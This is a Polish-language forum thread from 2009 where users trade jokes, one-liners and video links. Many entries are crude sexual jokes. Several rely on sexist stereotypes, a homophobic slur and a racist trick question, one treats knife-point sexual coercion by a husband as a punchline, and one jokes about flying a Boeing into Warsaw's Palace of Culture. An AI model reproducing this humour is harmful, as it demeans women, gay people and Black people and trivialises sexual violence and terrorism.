piersiami
- Myślisz, że to pomoże i urosną?
- W przypadku dupy pomogło...



I jeszcze roznice w wyplacie kaski z bankomatu miedzy Nim a Nią ;)

On:

Podjechać
Włożyć kartę
Wprowadzić PIN
Wziąć pieniądze, kartę i kwitek
Oryginalny kwitek schować, a do saszetki włożyć uprzednio przygotowany do pokazania zonie
Odjechać
Kupić kwiaty kochance
Kupić kwiaty żonie



Ona:

Podjechać
Puścić sprzęgło
Zakląć na szarpniecie
Wrzucić luz
Ustawić lusterko wsteczne na swoja twarzyczkę
Skrzywić się do lusterka
Poprawić makijaż
Uśmiechnąć się do lusterka
Wysiąść otworem drzwiowym
Zgasić silnik
Włożyć kluczyki do torebki
Wyjąc kluczyki z torebki i zamknąć drzwi
Dogonić samochód i zaciągnąć ręczny
Przejść dwie przecznice, bo koło bankomatu było miejsce tylko na dwie długości samochodu
Znaleźć kartę w torebce
Włożyć kartę do bankomatu
Wyjąć z bankomatu kartę telefoniczna i włożyć właściwą
Znaleźć w torebce karteczkę z zapisanym wcześniej PINem
Wprowadzić PIN
Postudiować instrukcje
Wcisnąć Cancel
Wprowadzić kod jeszcze raz, prawidłowo
Wcisnąć Cancel
Znaleźć w torebce kartkę z PINem do używanej właśnie karty
Wprowadzić sumę do wypłacenia
Zwiększyć sumę do maksymalnego pułapu
Zmniejszyć sumę do możliwości własnego konta
Wziąć pieniądze
Wrócić do samochodu
Znaleźć kluczyki
Poszarpać się z drzwiami
Znaleźć kluczyki do samochodu
Poprawić makijaż
Uruchomić silnik
Ruszyć
Przeprosić w myślach właściciela pojazdu stojącego z tylu za porysowany zderzak
Przestawić wsteczne lusterko tak aby widać było samochód z tylu
Wrzucić bieg i puścić sprzęgło
Uruchomić silnik i zmienić bieg z "3" na "1"
Ruszyć
Zatrzymać się
Cofnąć
Wyjść z samochodu
Wrócić do bankomatu i zabrać kartę z kwitkiem
Z powrotem do samochodu
Włożyć kartę do portfela
Włożyć kwitek do torebki
Zanotować na karteczce ile się wzięło i ile zostało
Zwolnic trochę miejsca w torebce aby włożyć portfel do torebki
Poprawić makijaż
Wrzucić wsteczny bieg
Wrzucić jedynkę
Ruszyć
Przejechać 3 km
Zwolnic ręczny
Domknąć drzwi
Podjechać pod perfumerię
Wydać wszystko
Żyć, nie umierać

wiesiek01 - 03-11-2009, 18:40


Jaroo74 - 04-11-2009, 00:26

UWAGA NA OSZUSTKI W TESCO!!!
Nie wiem, czy robicie też zakupy w marketach, ale te informacje mogą się przydać. Chcę was ostrzec przed tym, co mi się przydarzyło. Padłem ofiarą przebiegłych oszustek. Zdarzyło mi się to w TESCO, ale mogło i gdzie indziej i komuś innemu. Oszustki działają następująco: Dwie ładne dziewczyny koło 20 przychodzą do waszego samochodu, kiedy ładujecie zakupy do bagażnika. Zaczynają myć szyby a piersi im dosłownie wyskakują z bluzek. Kto by nie popatrzył? Jak im podziękujecie i zaproponujecie pieniądze za wykonaną pracę, odmówią i poproszą, by ich lepiej podrzucić do następnego TESCO. Jeżeli się zgodzicie, obie usiądą na tylnym siedzeniu i w trakcie jazdy się zaczną nawzajem pieścić. Następnie jedna z nich przechodzi na przednie siedzenie i zabierze się do robienia laski. W tym czasie druga kradnie wasz portfel.
- Mój portfel został właśnie tak skradziony w zeszły piątek, sobotę, dwa razy w poniedziałek i wczoraj też !

wielki nicpoń - 04-11-2009, 21:45

Ktoś kiedyś chciał rozweselić swoją żonę, przeżywającą właśnie "trudne dni", zadając jej pytanie:
- Kochanie, ile kobiet z PMS jest potrzebnych by wymienić przepaloną żarówkę?

Odpowiedź brzmiała:
- Jedna! Tylko jedna. A wiesz DLACZEGO? Ponieważ jest jeszcze ktoś w tym domu kto wie JAK wymienić przepaloną żarówkę! Wy mężczyźni byście się nawet nie zorientowali, że jest PRZEPALONA! Siedzieli byście w ciemnościach TRZY DNI zanim byście zrozumieli co K***A jest nie tak! I, jak tylko już to zrozumiecie to nie jesteście w stanie ZNALEŹĆ w domu zapasowej żarówki pomimo tego, że od 17 lat są zawsze w tej samej szafce! A jeżeli już stałby się CUD i w jakiś niewytłumaczalny sposób znajdziecie w końcu te P***E ŻARÓWKI to przez DWA DNI problemem nie do pokonania będzie POSTAWIENIE KRZESŁA pod żyrandolem i WYMIENIENIE TEJ P***J ŻARÓWKI. KOLEJNE DWA P***E DNI ZAJMIE WAM ODSTAWIENIE TEGO J***O KRZESŁA Z POWROTEM NA MIEJSCE! A W MIEJSCU GDZIE STAŁO I TAK, NA PODŁODZE ZOSTANIE P***Y PUSTY ZGNIECIONY KARTONIK PO WKRĘCONEJ NOWEJ ŻARÓWCE! BO WY NIGDY K***A NIE POTRAFICIE PO SOBIE POSPRZĄTAĆ! GDYBY NIE MY TO BYŚCIE DO USRANEJ ŚMIERCI BRNĘLI PO PACHY W ŚMIECIACH I DOPIERO GDYBY NP. ZGINĄŁ WAM P***Y PILOT OD TELEWIZORA ZATRUDNILI BYŚCIE POD HASŁEM: "AKCJA RATUNKOWA" CAŁĄ P***Ą ARMIĘ DO TEGO J***O SPRZĄTANIA! I TAK K***A DO Z***A! CAŁE ŻYCIE Z KRETYNAMI!

I tu nastąpiła chwila ciszy po której mąż usłyszał cichutkie:
- To O CO pytałeś, kochanie?

iXXL - 06-11-2009, 20:27

Sprawdzcie jak fantastycznie google wytyczy trase :D

1. Wejdź na: www.maps.google.pl
2. Wybierz "Pokaż trasę".
3. W adresie początkowym wpisz "Tokio".
4. W adresie końcowym wpisz "San Francisco".
5. Kliknij "Pokaż trasę".
6. Zobacz instrukcje w punkcie 24 i 38.

:D :D:D

The_PiotREX - 06-11-2009, 20:31

super
PawelW - 06-11-2009, 20:34

dobty spływ kajakowy :) masakra :) usmiałem sie
jacekplacek - 09-11-2009, 11:19

Mnie rozbawiło :) :

KasiaK - 10-11-2009, 10:24

Tratwa płynie, a na niej czterech rozbitków: Niemiec, Polak, Rosjanin oraz Nigeryjczyk. Po pewnym czasie zaczęło kończyć się im jedzenie, więc postanowili wyrzucić Nigeryjczyka za burtę. Polak doszedł do wniosku, że to nie jest fair, więc wymyślił konkurs. Kto nie odpowie na pytanie, ten wylatuje za burtę. Zadał pytanie Niemcowi:
- Kiedy zrzucono bombę na Nagasaki?
- 1945 r.
- Ok, zostajesz.
Pytanie do Rosjanina:
- Ile osób zginęło ?
- 60 tys.
- Ok, zostajesz.
Do Nigeryjczyka:
- Nazwiska!

Jaroo74 - 10-11-2009, 20:20

http://www.youtube.com/watch?v=JeB6CnX7E7M


hazi - 14-11-2009, 20:54

Gosciowa wchodzi do windy a tam koles w kominiarce mowi:

- na kolana i rob mi loda (przykłada jej nóz do gardła)

ona na to:

-nie nie nie !!!

gosciu:

-na kolana !i rob albo pozegnasz sie z zyciem!

Mija juz ponad pól godziny jak panna robi to co trzeba

po tym czasie koles siciaga kominiarke , okazuje sie ze to jej maz :) i mowi:

NO I CO? A JEDNAK KUR@%# MOŻNA TO ZROBIĆ :)

martin - 15-11-2009, 10:44

Starsze malzenstwo siedzi sobie przed telewizorem, w bujanych fotelach, przykryci cieplymi kocykami. Nagle starsza pani wyskakuje z pomyslem:
- Dziadku, a moze bysmy sie tak napili jakiegos winka?

Dziadek nie zastanawiajac sie dlugo zszedl do piwnicy i wyciagna mocno zakurzona butelke, przetarl etykiete i czyta "KON JAK". Zaniósl ja do babci i zaczeli sobie popijac. Pili do momentu, az butelka byla pusta. Po chwili babcia mówi do dziada:
- A moze skoczylibysmy do sypialni i pokochali sie troszeczke?

Dziadek z usmiechem na ustach porywa babcie do sypialni i zaczeli sie kochac. Mija pierwsza doba, potem nastepna i nastepna. Kiedy bylo juz po wszystkim, babcia wyslala dziadka, aby z dokladnoscia przetarl etykiete i dowiedzial sie czegos wiecej na temat trunku, który spozyli.

Dziadek chwycil butelke, przetarl dokladnie etykiete i czyta: "KON JAK NIE MOZE - JEDNA LYZECZKA NA WIADRO".

tom_wie - 16-11-2009, 14:23


Piotr - Malediwy - 17-11-2009, 10:57

Paradoks ukraiński: gliniarz z drogówki zarabia siedem tysięcy hrywien miesięcznie i osiem tysięcy dziennie.

* * * * *

Od miłości do nienawiści tylko jeden krok. Ale postawić go trzeba z godnością, w garniturze, w rytm marsza Mendelsona.

* * * * *

Po analizie wyników lekarz nie zostawia nadziei pacjentce:
- Przykro mi, ale został pani tylko dzień życia.
Cała we łzach wraca do domu i zdaje relację mężowi.
- Kochanie trudno, skoro jest jak jest to chciałabym dzisiejszej nocy dziko się z tobą kochać...
Mąż po chwili namysłu:
- Grażynko, łatwo ci powiedzieć "dziko się kochać", ty rano nie będziesz musiała wstawać.

* * * * *

Władze Rosji były zmuszone odłożyć zaplanowaną kampanię antykorupcyjną po tym, jak gdzieś się zapodziało przeznaczone na nią 50 mln dolarów.

* * * * *

Kinga Rusin była tak brzydka, że nie chciał jej agent Tomek

* * * * *

- Ile masz niedoróbek w nowym mieszkaniu?
- Na razie jedną.
- Nieźle, mało! A jaką?
- Nie mogę drzwi wejściowych otworzyć.

* * * * *

- Moja żona to już zupełnie posiwiała od myślenia.
- A o czym tak myśli?
- Czy się ufarbować na blond, czy na rudo.

* * * * *

Jedzie babka samochodem. Trzecia w nocy, włączone radio, audycja "Dla tych, co w drodze". Nagle dzwoni słuchacz i prosi:
- Moja teściowa jedzie teraz samochodem do Doniecka. Puśćcie jej, proszę, jej ulubioną kołysankę z dzieciństwa "Śpią zmęczone zabaweczki".

* * * * *

Każdy człowiek jest programistą swego szczęścia. I hakerem cudzego.

* * * * *

Jeżeli kobietę oduczyć mówić, to pies utraciłby status najlepszego przyjaciela człowieka.

* * * * *

Ze świata klonowania: w sobotę w Sopocie wystąpi piracka kopia Dody

* * * * *

Wraca mąż do domu, widzi walizki, żonę generalnie gotową do wyprowadzki..
- Gdzie się wybierasz Kochanie?
- Jadę do Vegas, słyszałam że tam płacą 400$ za loda,
to skoro robie to samo tutaj za darmo, to mogę równie dobrze z tego żyć.
Mąż na te słowa zaczyna pakować swoje rzeczy i mówi - jadę z Tobą - jestem ciekaw jak wyżyjesz za 800$ rocznie.

* * * * *

- Bierz mnie kochanie!
- W całości, czy mogę wybrać sobie ulubiony kawałek?

* * * * *

Rada miasta Warszawy, podjęła decyzję o wyburzeniu Pałacu Kultury. Wzorując się na Nowym Yorku, po obliczeniach wyszło, że wystarczy jeden Boeing 737....

* * * * *

- Wpadnij do mnie, mam dużo grzybów, upichcę z czymś...
- Skarpetki spod łóżka dały taki urodzaj?

* * * * *

W zależności od intonacji jedno niecenzuralne słowo mechanika Pietrowa może oznaczać około pięćdziesięciu różnych problemów przy naprawie samochodu.

* * * * *

Kobieto! Jeżeli twój facet naśmiewa się z twojej logiki, przypomnij mu, jak to w ciągu jednego wieczora trzy razy po wódkę chodził.

* * * * *

Wydawnictwo "Biblioteczka Managera" poleca nową pozycję "Podstawy seksu analnego". Książka jest przeznaczona dla menadżerów wyższego szczebla, dowódców sił mundurowych, wyższych pracowników administracji itp. Według autorów, wiedza w niej zawarta pozwala na nowe spojrzenie na rozwiązanie problemów dyscyplinarnych oraz podwyższenia poczucia odpowiedzialności i motywacji podległego personelu.

* * * * *

Mam znajome małżeństwo. Ona słabo widzi, on niedosłyszy. Zaszedłem kiedyś do nich na kawę.
- Siemacie!! Wpadłem zobaczyć co słychać!

* * * * *

Pacjent ustala szczegóły dotyczące zbliżającej się operacji:
- A ile będzie kosztować narkoza? - pyta.
- 1000 złotych - odpowiada anestezjolog.
- 1000 złotych za to, żeby mi się film urwał? Trochę za drogo, nie sądzi pan?
- Nie. Urwany film dostaje pan gratis. Opłata jest za to, żeby znowu zaczął się wyświetlać!

* * * * *

Poranek, w zadymionej kuchni siedzi młody człowiek z długimi włosami. W rękach trzyma gitarę i brzdęka jakąś melodię. Do kuchni wchodzi może pięcioletni malec i patrząc na scenę pyta.
- Tato, a Ty jak dorośniesz to kim chcesz zostać ?

* * * * *

Wszyscy lubią maleńkie szczeniaczki, maleńkie kocięta, maleńkie ptaszki, a nawet maleńkie kaczuszki. I tylko malutki chu... nie podoba się nikomu .....

* * * * *

- Wiecie co to jest zabijanie czasu?
- To moment kiedy blondynka zamierza wyjechać z parkingu.

* * * * *

Jeśli czytasz to w tej chwili, to jest 2:11 w nocy i powinieneś iść już spać.
No chyba, że jesteś Amerykaninem, wtedy powinieneś iść na dietę.

* * * * *

- Hej, dziewczyno, lubisz bilard?
- Nie, ale za to ładnie na stole leżę.

* * * * *
- Panie doktorze mam kłopoty z pamięcią.
- Od kiedy?
- Od 14:32 15 marca 2007 roku .

* * * *

Moja dziewczyna spytała mnie, co bym chciał na prezent na święta. Odpowiedziałem:
- Seksu analnego.
- Nie bądź głupi – uśmiała się – Miałam na myśli coś, co mogła bym Ci kupić.
- Ok – odpowiedziałem – To chcę seks analny z prostytutką.

iXXL - 19-11-2009, 19:27

W zwiazku z kryzysem, moze ktos szuka pracy. Znalazlem takie oto ogloszenie, moze komus sie przyda :D


Dany - 20-11-2009, 06:55

Trwa rozprawa rozwodowa, a dokładniej - sprawa o przyznanie opieki nad
dzieckiem. Matka (jeszcze żona, już nie kochanka) wstała i jasno dała do
zrozumienia sędziemu, że dzieci należą się jej. To ona je urodziła, więc
to są jej dzieci. Sędzia pyta męża, co on ma do powiedzenia. Maż przez
chwilę milczał, po czym powoli podniósł się i rzekł:
- Panie sędzio, kiedy wrzucam złotówkę do automatu ze słodyczami i
wypada z niego batonik, to czy batonik należy do mnie czy do automatu?

Marek Majas - 22-11-2009, 21:46

Statek badawczy kolejny miesiąc tuła się po oceanie. Załoga po cichu zaczyna popijać z tęsknoty za lądem. Kapitan postanowił przerwać te bezeceństwa i zebrał całą załogę na pokładzie:
- W związku z zaobserwowanymi przypadkami pijaństwa na pokładzie, zobowiązuję wszystkich do wyrzucenia całych zapasów wódki do morza!
Na pokładzie zaległa grobowa cisza. I nagle gdzieś, z tylnych rzędów rozlega się radosny głos:
- Kapitan ma rację! To jest hańba! Bez dwóch zdań należy cały zapas alkoholu wyrzucić za burtę!
Załoga zaszokowana. Po chwili odzywa się bosman:
- Hej, wy tam z tylnych rzędów! Czy ktoś udzielił głosu nurkom?

iXXL - 24-11-2009, 23:26

Ta a propos wodki, jak pija Polacy:

Lekarz pije na zdrowie
Matematyk na potęgę
Grabarz na umór
Ornitolog na sępa
Poborowy na krzywego ryja
Bankowiec na kredyt
Polarnik na zimno
Pediatra po maluchu
Aptekarz po kropelce
Filozof po namyśle
Krawiec po naparstku
Syndyk do upadłego
Fryzjer do lustra
Nurek do dna
Anestezjolog do utraty tchu
Kuba do Jakuba
Jakub do Michała
Perfekcjonista raz a dobrze
Kamerzysta aż mu się film nie urwie
Tenisista setami
Kolarz w kółko
Higienistka tylko czystą
Gastryk żołądkową gorzką
Lunatyk księżycówkę
Bliźniak brudzia
Nocny stróż w ciemno
Ichtiolog pod śledzika
Pilot jak leci
Mechanik z gwinta
Hydraulik z grubej rury
Medyk sądowy zalewa się w trupa
Ogrodnik do przesady
Wędkarz zalewa robaka
Woźnica wali końska dawkę
Stolarz wali klina
Żołnierz strzela lufę
Sprzedawca paliw wali w gaz



:D

jacekplacek - 25-11-2009, 09:21

Amerykańscy naukowcy odkryli, że nie ma amerykańskich naukowców...
hazi - 25-11-2009, 22:08

Jasiu przylatuje do taty i sie pyta :

Tato o jak to jest praktycznie a teoretycznie co to za roznica ?

Juz ci tłumacze moj synu lec to babci i sie zapytaj czy by sie sprzedala murzynowi za 2000 $.

Babciu ! czy bys sie sprzedala murzynowi za 2000$?

Babcia: Pewnie ! bym sobie kupila meble ,pralke , itd.

Tato babcia powiedziala ze sie zgadza

To idz sie zapytaj siostry

Siostra :pewnie ze tak bym sobie kupila kosmetyki , ciuchy itd.

Tato siostra tez powiedziala ze sie sprzeda za 2000 $

To idzi sie zapytaj dziadka czy sie sprzeda za 2000 $

Dziadek : oooo ! jasne ze tak mam kiepska rente kasa sie przyda !

Tata dziadek to samo powiedzial !

NO WIDZISZ SYNU TEORETYCZNIE TO MAMY W CHACIE 6000 DOLARÓW A PRAKTYCZNIE TO MAMY W DOMU DWIE KURW#$#Y I JEDNEGO PEDAŁ#$@A :bee;

The_PiotREX - 25-11-2009, 22:15

A czy to nie na odwró powinno iść? że teoretycznie 6000$...
hazi - 25-11-2009, 22:19

O własnie racja juz zamienilem pisze z glowy :ok2:
Dany - 26-11-2009, 06:59

LIWKO !!!
http://www.youtube.com:80/watch?v=i53C7uQkpig

jacekplacek - 26-11-2009, 07:44

Liwko to bliska rodzina Wujka Staszka Mistrza Cietej Riposty:
Poszedł mały Jasio do cyrku i tak się złożyło, że musiał usiąść w pierwszym rzędzie. Rozpoczął się występ i na arenę wychodzi Klaun Szyderca. Podchodzi do Jasia i pyta:
– Jak masz na imię?
– Jasiu.
– A więc Jasiu, czy ty jesteś głową krowy?
– Nie.
– A czy ty jesteś tułowiem krowy?
– Nie.
– A więc Jasiu, ty jesteś dupa wołowa! HAHAHA!!! (zaśmiał się szyderczo Klaun Szyderca).
Smutny Jasio wrócił do domu, opowiedział wszystko tacie, na co ten mu mówi:
– Jasiu, jutro też pójdziesz do cyrku.
– Ale jak to? Do cyrku? A Klaun Szyderca? Znowu będzie się śmiał.
– Jasiu, nie możesz się tak poddać. Musisz jutro jeszcze raz iść do cyrku!
Smutny Jasio poszedł do cyrku i pech chciał, że znów musiał usiąść w pierwszym rzędzie. Po rozpoczęciu występu znów na arenę wyszedł Klaun Szyderca i widząc Jasia podszedł do niego i mówi:
– Widzę tutaj mojego przyjaciela Jasia! Proszę, powiedz mi, Jasiu, czy ty jesteś głową krowy?
– Nie.
– A czy ty jesteś tułowiem krowy?
– Nie.
– A więc Jasiu, ty jesteś dupa wołowa! HAHAHA!!! – znów zaśmiał się szyderczo Klaun Szyderca.
Wszyscy ludzie w cyrku zaczęli się śmiać, a Jasio, któremu zrobiło się bardzo przykro wrócił do domu i powiedział o wszystkim tacie. Jego tata na to:
– Jasiu, jutro jeszcze raz pójdziesz do cyrku!
– Ale tato, ja nie chcę! Tam jest Klaun szyderca, on znowu się będzie śmiał!
– Nie martw się, Jasiu, tym razem pójdzie z tobą Wujek Staszek Mistrz Ciętej Riposty.
No i tak się stało. Następnego dnia poszli Jaś i Wujek Staszek Mistrz Ciętej Riposty do cyrku, usiedli w pierwszym rzędzie i czekają na występ Klauna Szydercy. Wychodzi więc Klaun Szyderca na arenę i zaczyna swój znany występ. Podchodzi do Jasia i pyta:
– Jasiu, czy ty jesteś głową krowy?
Na co Wujek Staszek Mistrz Ciętej Riposty:
– Spie#rdalaj.

Może za nonsensopedią wyjaśnie znaczenie ostatniego słowa, mylnie uważanego za wulgaryzm:
Sp#ierdalaj – potoczne polskie słowo, używane jako odsyłacz, będący przeciwieństwem wołacza. Stosowane, gdy rozmówca nie reaguje na zwroty grzecznościowe Panie, idź pan sobie!, Panie, odczep się pan! lub Spieprzaj, dziadu!

Bezokolicznik utworzony od tego słowa („spie#rdalać”), znaczy dokładnie to samo co „uciekać”, ale jego znaczenie jest bardziej dobitne. Na hasło Uciekać! wszyscy rozglądają się i zastanawiają Co się staO?, natomiast na hasło Spie#rdalamy! wszyscy zaczynają... spie#rdalać.

Słowo spie#rdalać lubi występować w parze ze słowem ku#rwa. Podobnie jak słowo ku#rwa, tak i słowo spie#rdalać uważane jest za wulgarne i zakazane jest w użytku publicznym. Słowo to wywodzi się w linii prostej od słowa pierdoła. Spie#rdolić to nic innego jak wykonać coś w sposób godny pierdoły, czyli źle. Słowo pierdoła nie jest zakazane.

Na drodze powyższego wyjaśnienia stwierdzamy zatem, że to właśnie magiczne i wieloznaczne słowo jest jednym przykładnych absurdów języka polskiego i dziwnych naleciałości pseudokulturalnych wywodzących się od moherowej części społeczeństwa

train - 26-11-2009, 10:09

Super zajebiste zabezpieczenie co by nikt nam nie zakosił bryki na nurkowisku:
http://i.iplsc.com/-/00000OVKTLGJB180-C303.jpg

Padre-Kris - 26-11-2009, 15:38

Nie ma się co śmiać widziałem takie w Wartburgu !!!
iXXL - 26-11-2009, 20:25

Jacekplacek, jest w naszym jezyku wiele slow, ktorych znaczenie splycamy do wylacznie negatywnych konotacji. Nie tylko sp...dalaj, ale wezmy tez na ten przyklad D*PA.

Du*ę wynalazł uczony radziecki Wołow. Dlatego mówimy: "du*a Wołowa". Inni twierdzą, że du*ę wynalazła Marynia. Ci z kolei rozmawiają o du*ie Maryni. Du*a pełni ważną rolę w ruchu obrotowym. Wszystko kręci się wokół du*y.

Du*a służy również do przekazywania zdecydowanych sygnałów niewerbalnych. Dobrze wymierzony, solidny kopniak w du*ę jest wyrażeniem uczuć negatywnych wobec adresata takiego gestu.

Du*ie można również przekazać emocje pozytywne, np. całując kogoś w du*ę. Du*a może spełniać też rolę lizaka.Szczęśliwie nie wszyscy są dupolizami.

Uniwersalność du*y nie kończy się na tym, jest ona bowiem zadziwiająco skutecznym pojemnikiem: w du*ie można mieć całe osoby, a nawet społeczności.

Du*a służy nieraz jako etalon: wiele rzeczy jest do du*y, tym samym du*a spełnia rolę uniwersalnego wzorca porównawczego.

W du*ę (lub po du*ie) można również dostać. Czynność ta umacnia więzi emocjonalne między rodzicami i dziećmi. Prócz tego, du*a spełnia rolę siedziska, powiadamy bowiem: "siadaj na du*ie", często z dodatkiem poleceń uzupełniających, jak np. "[...] i siedź cicho".

Określenie "dawać (dać) du*y" funkcjonuje w dwóch znaczeniach: erotycznym i wartościującym, jednak "ściągnąć kogoś z du*y" tylko w tym pierwszym. Można również chronić swoją (lub czyjąś) du*ę, co kolejny raz potwierdza ważność du*y w otaczającym nas świecie.

"Zabrać się do czegoś od du*y strony" oznacza podejście niewłaściwe, od końca; du*a funkcjonuje tu jako synonim odwrotności.

Du*a pełni również rolę uchwytu, można bowiem trzymać się czyjejś du*y. Określenie to nie oznacza braku równowagi, ale samodzielności.

Na zkonczenie moglbym napisac np. "pocalujcie mnie w d*pe, jednak jedni odbiora to jako obelge, inni jako prosbe o niezasluzoa pieszczote, wiec nie zaryzykuje

i poprostu napisze:

pozdrawiam :papa:

train - 27-11-2009, 16:25

http://www.wartomarzyc.webhosting.net.pl/

http://www.maxior.pl/film...pejscy_kierowcy

http://www.maxior.pl/film...zybsza_karuzela

KasiaK - 02-12-2009, 21:37


Dany - 03-12-2009, 05:46

Udało mi się załatwić dyspensę od biskupa na seks przedmałżeński. Wcale nie było to trudne. Zadzwoniłem do niego o trzeciej w nocy i spytałem co sądzi na temat materialistycznej wizji świata w świetle teorii tomistycznej.

Odpowiedział - pier**l się koleś i nie zawracaj głowy!

jurekk - 03-12-2009, 21:37

Leci wnuczek z głuchym dziadkiem do Tajlandii, w samolocie stewardessa podaje info: w Tajlandii 50% kobiet ma HIV, a drugie 50 ma gruźlicę...dziadek pyta się wnuczka: co ona mówi? wnuczek na to : dziadku, mówi że 50 % kobiet ma HIV, a drugie 50 gruźlicę
Dziadek na to: co ona mówi?
wnuczek odpowiada: Dziadku, mówi, że mówi że 50 % kobiet ma HIV, a drugie 50 gruźlicę
Dziadek znowu: co ona mówi?
wnuczek wkur...na to: mówi, żebyś pieprzył tylko te co kaszlą ;)

Dany - 03-12-2009, 22:36

Żona pyta męża:
- Józek, będziesz jadł tę zupę? Bo jak nie, to doleję śmietany i psu zaniosę!

Cerberiusz - 03-12-2009, 23:55

Motto dnia:

Owoc żywota Twojego je ZUS

Rolek - 05-12-2009, 14:45

Liwko :)
Dany - 06-12-2009, 23:48

Wpada facet do zakładu fryzjerskiego i pyta:
- Kiedy mógłby pan mnie ostrzyc?
Fryzjer rozgląda się po zakładzie, liczy czekających klientów i mówi:
- Najwcześniej za dwie godziny.
Klient wychodzi. Na drugi dzień ponownie pojawia się ten sam facet. Zagląda do zakładu i pyta:
- Kiedy najwcześniej mógłbym się ostrzyc?
Fryzjer kalkuluje, przelicza czekających klientów i odpowiada:
- Nie wcześniej niż za trzy godziny.
Facet znika. Tydzień później sytuacja się powtarza. Zaniepokojony fryzjer prosi kolegę:
- Romek, idź za nim i zobacz co to za jeden i gdzie poszedł.
Po 10 minutach wraca Roman śmiejac się do rozpuku. Fryzjer pyta:
- I co, gdzie poszedł?
- Do twojej żony.

Padre-Kris - 07-12-2009, 09:48

Wpada facet do szpitala na chirurgię i od dzrzwi woła do lekarza:
-Proszę mnie wykastrować!!!!
-Proszę pana ale co się stało - pyta lekarz
- Ja nie będę dyskutował proszę mnie szybko wykastrować !!!!!!
- Ale proszę pana jest pan młodym mężczyzną w sile wieku i możłiwości....
- Panie doktorze ja podjąłem nieodwracalną decyzję proszę żeby mnie natychmiast
wykastrować !!!!!
Lekarz rad nie rad wykonał zabieg.

Wybudza pacjenta z narkozy.

- Proszę pana już po wszystkim zabieg się powiódł mam tylko jedni pytanie: Dlaczego
pan młody człowiek podjął tak poważną decyzję mającą wpływ na pana przyszłe
życie?
- Panie doktorze poprostu niedawno poznałem śliczną żydóweczkę, zakochałem się i ....
- No to chyba powinien się pan obrzezać?

- TAK? A co ja powiedziałem??/

Dany - 07-12-2009, 23:06

Blondynka dzwoni do koleżanki i mówi:
- Mój mąż wziął 100 zł i poszedł na dziwki. Jest u ciebie?

KasiaK - 07-12-2009, 23:16

Dany,
wyslales to juz wczoraj :)

Dany - 07-12-2009, 23:29

KasiaK napisał/a:
Dany,
wyslales to juz wczoraj

Faktoza przegapiłem z pośpiechu "my bad"
ale dodam coś może innego
:prez:
ZSRR. Milicjant chce dwóm facetom wystawić mandat.
- Bohaterowie Związku Sowieckiego też mają płacić? - pyta jeden.
- Nie. Przepraszam - milicjant salutuje i odchodzi.
- Przecież nie jesteśmy bohaterami - mówi po chwili drugi.
- A co? Nie wolno spytać?

iXXL - 08-12-2009, 09:20

Grubo po drugiej w nocy wchodzi mocno zawiany facet do domu, trzaska drzwiami i drze gębę: "WRÓCIŁEM!!!!"...
Cisza...
W trakcie pokonywania korytarza rozbija lustro lecz nie zwraca na to uwagi tylko znowu wrzeszczy "WRÓCIŁEM!!!!"...
Cisza...
Po drodze rozbija jeszcze szybę w meblach ale nie dale za wygraną - brnie naprzód.
Wchodzi do sypialni z impetem rzuca się na łóżko, patrzy w sufit i mówi:
- ku**a jak dobrze być kawalerem...


****************************************************

Chłopak odprowadza swoją dziewczynę do domu po imprezie. Kiedy dochodzą do klatki, facet czuje się na wygranej pozycji, podpiera się dłonią o ścianę i mówi do dziewczyny:
- Kochanie, a gdybyś mi tak zrobiła laseczkę...
- Tutaj?! Jesteś nienormalny.
- Noooo, tak szybciutko, nic się nie stanie...
- Nie! A jak wyjdzie ktoś z rodziny wyrzucić śmieci, albo jakiś sąsiad i mnie rozpozna...
- Ale to tylko "laska", nic więcej... kobieto...
- Nie, a jak ktoś będzie wychodził...
- No dawaj nie bądź taka...
- Powiedziałam Ci że nie i koniec!
- No weź, tu się schylisz i nikt Cię nie zobaczy...
- Nie!
W tym momencie pojawia się siostra dziewczyny w koszuli nocnej, rozczochrana i mówi:
- Tata mówi że już wyrzuciliśmy śmieci i masz mu zrobić tą laskę , a jak nie to ja mu zrobię. A jak nie, to tata mówi, że zejdzie i mu zrobi, tylko niech zdejmie rękę z tego domofonu bo jest kur.. 3 rano!


pzdr ;)

Dany - 08-12-2009, 21:19

SĘDZIA: Czy przyznaje się pani do zabicia męża?
OSKARŻONA: Zabicia? To była raczej eutanazja, akt łaski. Od wielu miesięcy obserwowałam jak mój mąż, całymi dniami, objadając się, wegetuje przed telewizorem, a tego wieczoru, podczas transmisji meczu, wyraźnie poprosił, a nawet krzyczał, bym mu pomogła.
SĘDZIA: A co konkretnie powiedział?
OSKARŻONA: Strzelaj, kur.a, strzelaj!

train - 08-12-2009, 21:36

http://www.joemonster.org...Striptiz_boski_
hexe - 09-12-2009, 16:40

rewelacja, się uśmiałam :D
I - 10-12-2009, 14:06

Irish government asked a question for its citizens:

Is the Polish immigration a serious problem?

- 35% respondents said: 'yes, it is a serious problem!'

- 65% respondents said: 'absolutnie k...a żaden!'

iXXL - 11-12-2009, 23:31

Stare, ale jare. Kto nie widzial sie ubawi, kto widzial....tez sie ubawi :D

http://www.youtube.com/watch?v=-_4B2s54vX8

http://www.youtube.com/watch?v=av3X9mevMjY

aha i jeszcze idealny zalacznik do emaila do szefa:

http://www.youtube.com/wa...feature=related :D :D:D

train - 12-12-2009, 18:42

Współczesny tarzan:
http://www.youtube.com/wa...feature=channel

woland66 - 12-12-2009, 21:12

od lat ten film bawi mnie do łez
http://www.youtube.com/wa...=1&feature=fvwp

Dany - 14-12-2009, 18:49

Chłopak i dziewczyna w samochodzie za miastem. Późny wieczór. Chłopak zaczyna całować włosy dziewczyny, ale ona go powstrzymuje:
- Dobrze wiem, że powinnam ci to powiedzieć wcześniej, ale właściwie jestem prostytutką i za numer biorę stówkę.
Chłopak płaci niechętnie. Po wszystkim pali papierosa i gapi się w okno.
- Dlaczego nie jedziemy?
- Dobrze wiem, że powinienem ci to powiedzieć wcześniej, ale właściwie jestem taksówkarzem i taksometr wskazuje sto siedemdziesiąt....

zibomax1970 - 14-12-2009, 20:48
Temat postu: Z Pozdrowieniami
http://www.youtube.com/wa...player_embedded
jacekplacek - 17-12-2009, 10:45

Jak się tak wideowo zrobiło, piosenka ludowa z moich stron. Zagłymbiokom moga przetłumaczyc :P


martin - 17-12-2009, 21:21

jacekplacek napisał/a:
piosenka ludowa z moich stron


Podobny klimat - klasyka po naszymu:


zibomax1970 - 18-12-2009, 16:02

Przyjaźń między kobietami:
Pewnego dnia kobieta nie wróciła na noc do domu. Następnego dnia powiedziała mężowi, że spała u przyjaciółki . Mąż zadzwonił do 10 jej najlepszych przyjaciółek .... żadna nie potwierdziła....
Przyjaźń między mężczyznami
